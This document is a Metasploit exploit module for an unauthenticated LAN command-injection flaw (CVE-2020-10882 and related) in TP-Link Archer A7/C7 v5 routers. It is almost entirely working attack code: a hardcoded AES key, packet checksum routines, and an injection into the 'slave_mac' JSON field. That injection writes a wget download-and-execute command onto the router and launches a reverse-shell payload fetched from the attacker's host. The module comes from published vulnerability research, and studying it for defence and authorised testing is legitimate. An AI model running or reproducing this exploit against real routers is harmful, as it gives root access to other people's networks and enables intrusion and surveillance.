# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code
Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the
tdpServer daemon (/usr/bin/tdpServer), running on
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS
Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN
side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an
attacker will be able to execute any command
as root, including downloading and executing a binary from another
host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo
2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability
discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' #
Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL',
'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
[ 'URL',
'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
[ 'URL',
'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
[ 'CVE', '2020-10882'],
[ 'CVE', '2020-10883'],
[ 'CVE', '2020-10884'],
[ 'ZDI', '20-334'],
[ 'ZDI', '20-335'],
[ 'ZDI', '20-336' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 15,
},
'Targets' =>
[
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
],
'DisclosureDate' => "Mar 25 2020",
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(20002)
])
register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for
payload download', 15])
])
end
def check
begin
res = send_request_cgi({
'uri' => '/webpages/app.1564127413977.manifest',
'method' => 'GET',
'rport' => 80
})
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
end
def calc_checksum(packet)
# reference table used to calculate the packet checksum
# used by tdpd_pkt_calc_checksum (0x4037f0)
# located at offset 0x0416e90 in the binary
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96,
0xee,
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19,
0x70, 0x6a, 0xf4,
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb,
0x88, 0x32, 0x79,
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88,
0x09, 0xb6, 0x4c,
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf,
0x1d, 0x91, 0x1d,
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48,
0x84, 0xbe, 0x41,
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4,
0xb5, 0x51, 0x83,
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0,
0xfd, 0x62, 0xf9,
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06,
0x6c, 0xd9, 0xfa,
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8,
0x4c, 0x69, 0x10,
0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03,
0xe4, 0xd1, 0x4b,
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b,
0x35, 0xb5, 0xa8,
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc,
0xf9, 0x40, 0x32,
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf,
0xab, 0xd1, 0x3d,
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7,
0x51, 0x80, 0xbf,
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23,
0xcf, 0xba, 0x95,
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05,
0x88, 0x08, 0xc6,
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87,
0x58, 0x68, 0x4c,
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc,
0x41, 0x90, 0x01,
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a,
0x71, 0xb1, 0x85,
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8,
0xd4, 0x33, 0x78,
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e,
0xe1, 0x0e, 0x98,
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64,
0x6c, 0x97, 0xe6,
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62,
0x85, 0x65, 0x30,
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01,
0xa5, 0x7b, 0x82,
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6,
0x12, 0xb7, 0xe9,
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd,
0x1d, 0xdf, 0x15,
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65,
0x4d, 0xb2, 0x61,
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb,
0x30, 0xe2, 0x4a,
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d,
0xd3, 0xd6, 0xf4,
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67,
0x88, 0x46, 0xda,
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5,
0xaa, 0x0a, 0x4c,
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02,
0x41, 0xaa, 0xbe,
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25,
0x20, 0x6f, 0x85,
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde,
0xf9, 0x0e, 0x29,
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4,
0x59, 0xb3, 0x3d,
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba,
0x6c, 0xad, 0xed,
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c,
0x74, 0xb1, 0xd2,
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb,
0x26, 0x15, 0x73,
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84,
0x0d, 0x6d, 0x6a,
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09,
0xff, 0x9d, 0x0a,
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44,
0x87, 0x08, 0xa3,
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62,
0x57, 0x5d, 0x80,
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7,
0xfe, 0xd4, 0x1b,
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd,
0x4a, 0xcc, 0xf9,
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43,
0x60, 0xb0, 0x8e,
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8,
0xc2, 0xc4, 0x4f,
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67,
0x3f, 0xb5, 0x06,
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a,
0x1b, 0x4c, 0x36,
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3,
0xa8, 0x67, 0xdf,
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61,
0xb3, 0x8c, 0xbc,
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36,
0xcc, 0x0c, 0x77,
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05,
0x26, 0x2f, 0xc5,
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92,
0x5c, 0xb3, 0x6a,
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9,
0x9e, 0x8b, 0x5b,
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26,
0x75, 0x6a, 0xa3,
0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e,
0x36, 0x3f, 0x72,
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82,
0xe2, 0xb8, 0x7a,
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2,
0x8e, 0x9b, 0xe5,
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21,
0x86, 0xd3, 0xd2,
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda,
0x83, 0x6e, 0x81,
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1,
0x18, 0xb7, 0x47,
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06,
0x3b, 0xca, 0x11,
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69,
0x61, 0x6b, 0xff,
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d,
0xd2, 0xee, 0x4e,
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61,
0xd0, 0x60, 0x16,
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1,
0x6a, 0x4a, 0xd9,
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0,
0xa9, 0xbc, 0xae,
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5,
0xff, 0xe9, 0xbd,
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30,
0x24, 0xb4, 0xa3,
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde,
0x57, 0x29, 0x23,
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8,
0x5d, 0x68, 0x1b,
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c,
0x8e, 0xa1, 0x5a,
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]
res = 0xffffffff
# main checksum calculation
packet.each_entry { |c|
index = ((c ^ res) & 0xff) * 4
# .reverse is needed as the target is big endian
ref =
(reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
res = ref ^ (res >> 8)
}
checksum = ~res
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")
# convert back to string
packet = packet.pack('C*').force_encoding('ascii')
# and replace the checksum
packet[12] = checksum_s[0]
packet[13] = checksum_s[1]
packet[14] = checksum_s[2]
packet[15] = checksum_s[3]
packet
end
def aes_encrypt(plaintext)
# Function encrypts perfectly 16 bytes aligned payload
if (plaintext.length % 16 != 0)
return
end
cipher = OpenSSL::Cipher.new 'AES-128-CBC'
# in the original C code the key and IV are 256 bits long... but
they still use AES-128
iv = "1234567890abcdef"
key = "TPONEMESH_Kf!xn?"
encrypted = ''
cipher.encrypt
cipher.iv = iv
cipher.key = key
# Take each 16 bytes block and encrypt it
plaintext.scan(/.{1,16}/) { |block|
encrypted += cipher.update(block)
}
encrypted
end
def create_injection(c)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for
details)
# The payload will have to be padded to exactly 16 bytes to ensure
reliability between different OpenSSL versions.
# This will fail if we send a command with single quotes (')
# ... but that's not a problem for this module, since we don't use
them for our command.
# It might also fail with double quotes (") since this will break
the JSON...
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"
template = "{\"method\":\"slave_key_offer\",\"data\":{"\
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
"\"slave_mac\":\"%{INJECTION}\","\
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
"\"want_to_join\":false,"\
"\"model\":\"#{rand_text_alpha(5..13)}\","\
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
"\"operation_mode\":\"A%{PADDING}\"}}"
# This is required to calculate exact template length without
replace flags
template_len = template.length - '%{INJECTION}'.length -
'%{PADDING}'.length
# This has to be initialized to cover the situation when no padding
is needed
pad = ''
padding = rand_text_alpha(16)
template_len += inject.length
# Calculate pad if padding is needed
if (template_len % 16 != 0)
pad = padding[0..15-(template_len % 16)]
end
# Here the final payload is created
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
end
def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack("S>")
new_packet += packet[6..-1]
end
def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\';sh #{@cmd_file}\'"
payload = create_injection(inject)
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt
packet!")
end
new_packet = packet[0..15]
new_packet += ciphertext
new_packet = update_len_field(new_packet, ciphertext.length)
calc_checksum(new_packet.bytes)
end
# Handle incoming requests from the router
def on_request_uri(cli, request)
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit
soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
def exploit
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] ==
"::")
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN
IP address of this computer in SRVHOST")
end
if datastore['SSL']
fail_with(Failure::Unknown, "SSL is not supported on this target,
please disable it")
end
print_status("Attempting to exploit #{target.name}")
tpdp_packet_template =
[0x01].pack('C*') + # packet version, fixed to 1
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main
switch table
[0x00].pack('S>*') + # packet len
[0x01].pack('C*') + # some flag, has to be 1 to enter the
vulnerable onemesh function
[0x00].pack('C*') + # dunno what this is
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial
number, can by any value
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
# generate our payload executable
@payload_exe = generate_payload_exe
# Command that will download @payload_exe and execute it
download_cmd = "wget
http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x
#{@cmd_file};./#{@cmd_file}"
http_service = 'http://' + srv_host + ':' + srv_port.to_s
print_status("Starting up our web service on #{http_service}
...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@cmd_file}"
}})
print_status("#{peer} - Connecting to the target")
connect_udp
print_status("#{peer} - Sending command file byte by byte")
print_status("#{peer} - Command: #{download_cmd}")
mod = download_cmd.length / 5
download_cmd.each_char.with_index { |c, index|
# Generate payload
payload = create_injection(c)
if not payload
fail_with(Failure::Unknown, "#{peer} - Failed to setup download
command!")
end
# Encrypt payload
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt
packet!")
end
tpdp_packet = tpdp_packet_template.dup
tpdp_packet += ciphertext
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
tpdp_packet = calc_checksum(tpdp_packet.bytes)
udp_sock.put(tpdp_packet)
# Sleep to make sure the payload is processed by a target
Rex.sleep(1)
# Print progress
if ((index+1) % mod == 0)
percentage = 20 * ((index+1) / mod)
# very advanced mathemathics in use here to show the progress
bar
print_status("#{peer} - [0%]=#{' =' *
((percentage*2/10-1)-1)}>#{'
-'*(20-(percentage*2/10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
index = -2
end
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' *
(download_cmd[index+1..-1].length-1)}")
end
}
# Send the exec command. From here we should receive the
connection
print_status("#{peer} - Command file sent, attempting to
execute...")
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
udp_sock.put(tpdp_packet)
timeout = 0
while not @payload_sent
Rex.sleep(1)
timeout += 1
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was
not downloaded :(")
end
end
disconnect_udp
end
end

